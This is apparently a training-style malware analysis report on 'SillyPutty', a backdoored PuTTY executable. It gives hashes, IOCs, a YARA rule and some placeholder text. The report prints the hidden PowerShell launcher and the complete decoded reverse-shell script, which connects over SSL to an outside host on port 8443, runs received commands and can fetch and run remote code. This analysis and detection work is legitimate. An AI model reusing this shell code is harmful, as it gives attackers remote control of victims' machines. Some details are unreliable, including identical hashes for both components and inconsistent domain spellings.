Icon

Description automatically generated

Practical Malware Analysis & Triage

Malware Analysis Report

Silly Putty – Powershell Shell Malware

Aug 2022 | LatteRoster | v1.0

# Table of Contents

[Table of Contents 2](#_Toc85207993)

[Executive Summary 3](#_Toc85207994)

[High-Level Technical Summary 4](#_Toc85207995)

[Malware Composition 5](#_Toc85207996)

[srvupdate.exe 5](#_Toc85207997)

[crt1.crt: 5](#_Toc85207998)

[Basic Static Analysis 6](#_Toc85207999)

[Basic Dynamic Analysis 7](#_Toc85208000)

[Advanced Static Analysis 8](#_Toc85208001)

[Advanced Dynamic Analysis 9](#_Toc85208002)

[Indicators of Compromise 10](#_Toc85208003)

[Network Indicators 10](#_Toc85208004)

[Host-based Indicators 11](#_Toc85208005)

[Rules & Signatures 13](#_Toc85208006)

[Appendices 14](#_Toc85208007)

[A. Yara Rules 14](#_Toc85208008)

[B. Callback URLs 14](#_Toc85208009)

[C. Decompiled Code Snippets 15](#_Toc85208010)

# Executive Summary

|  |  |
| --- | --- |
| SHA256 hash | 0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83 |

SillyPutty is a version of the well used Putty.exe program that contains a powershell backdoor shell. It is a 32bit executeable that will run on the windows operation system. The payload is embedded in the program as a base64 encoded powershell.

Symptoms of the infection is a powershell blue execution window that is started during the execution of the program. The “normal” putty process runs along side the “legitimate” program.

# High-Level Technical Summary

SillyPutty runs along side the legitimate putty functionality.

# Malware Composition

DemoWare consists of the following components:

|  |  |
| --- | --- |
| File Name | SHA256 Hash |
| srvupdate.exe | A6AA84358130078F9455773AF1E9EF2C7710934F72DF8514C9A62ABEB83D2E81 |
| crt1.crt | A6AA84358130078F9455773AF1E9EF2C7710934F72DF8514C9A62ABEB83D2E81 |

## srvupdate.exe

The initial executable that runs after a successful spearphish. Loren ipsum…

crt1.crt:

A Base64 encoded CRT file containing the second stage payload. Loren ipsum…

A screenshot of a computer

Description automatically generated with medium confidence

*Fig 1: Base64 encoded cert of the stage 1 payload.*

# Basic Static Analysis

1). Hashes

|  |  |
| --- | --- |
| Md5 | 334A10500FEB0F3444BF2E86AB2E76DA |
| Sha256 | 0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83 |
| Sha1 | C6A97B63FBD970984B95AE79A2B2AEF5749EE463 |

2). Virus Total

Graphical user interface, application

Description automatically generated

3). This is a 32bit portable executable - first bytes are 4D5A (MZ)

4). Strings of note

There are a lot to readable strings but most of them seem to be related to the programs legitimate funcitons.

There are some strings that would be expected within a putty file.

But there are some of concern, there is a powershell.exe string that is of interest, contains a base64 encoded piece of code. This is unexpected in Putty.

powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

5). Import Address Table

Not really of much use as there are lots of legitimate process calls.

# Basic Dynamic Analysis

**Host IOC**

On detonation the file starts as putty would except a power shell window appears and then disappers.

Procmom shows powershell child process

Graphical user interface

Description automatically generated with medium confidence

It runs the powershell command we capture above.

powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

The powershell process connects out to a service on 8443



Taking the Base64 encoded string and decoding it on the Remux system produces a zipped file, which in turn contains the following script.

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient

{

$wc = New-Object -TypeName Net.WebClient

$wc.UseDefaultCredentials = $true

$wc.Proxy.Credentials = $wc.Credentials

$wc

}

function powerfun

{

Param(

[String]$Command,

[String]$Sslcon,

[String]$Download

)

Process {

$modules = @()

if ($Command -eq "bind")

{

$listener = [System.Net.Sockets.TcpListener]8443

$listener.start()

$client = $listener.AcceptTcpClient()

}

if ($Command -eq "reverse")

{

$client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)

}

$stream = $client.GetStream()

if ($Sslcon -eq "true")

{

$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))

$sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")

$stream = $sslStream

}

[byte[]]$bytes = 0..20000|%{0}

$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")

$stream.Write($sendbytes,0,$sendbytes.Length)

if ($Download -eq "true")

{

$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")

$stream.Write($sendbytes,0,$sendbytes.Length)

ForEach ($module in $modules)

{

(Get-Webclient).DownloadString($module)|Invoke-Expression

}

}

$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')

$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

{

$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding

$data = $EncodedText.GetString($bytes,0, $i)

$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '

$x = ($error[0] | Out-String)

$error.clear()

$sendback2 = $sendback2 + $x

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

$stream.Write($sendbyte,0,$sendbyte.Length)

$stream.Flush()

}

$client.Close()

$listener.Stop()

}

}

powerfun -Command reverse -Sslcon true

This looks to be part of the Metasploit package that opens up a secure shell backdoor into the system that the putty.exe is run on.

**Network IOC**

DNS query to

Graphical user interface, text, application, email

Description automatically generated

Then some HTTP gets

Text

Description automatically generated

Followed by POST activity

# Summary

The sillyputty malware is a powershell backdoor. When the malware is started it connects to a DNS address of Bonus2.corporationbonusapplication.local. The malware then starts to connect to a call back port of 8443, on https. Without a certificate it wasn’t possible to create a working ncat connection.

# Appendix A – Yara rules

rule yara\_sillyputty {

meta:

last\_updated = "2022-08-21"

author = "Latte Rooster"

description = "Silly Putty Malware"

strings:

$string1= "'H4sIAOW/UWECA51W227jNhB991"

$PE\_magic\_byte = "MZ"

condition:

$PE\_magic\_byte at 0 and $string1

}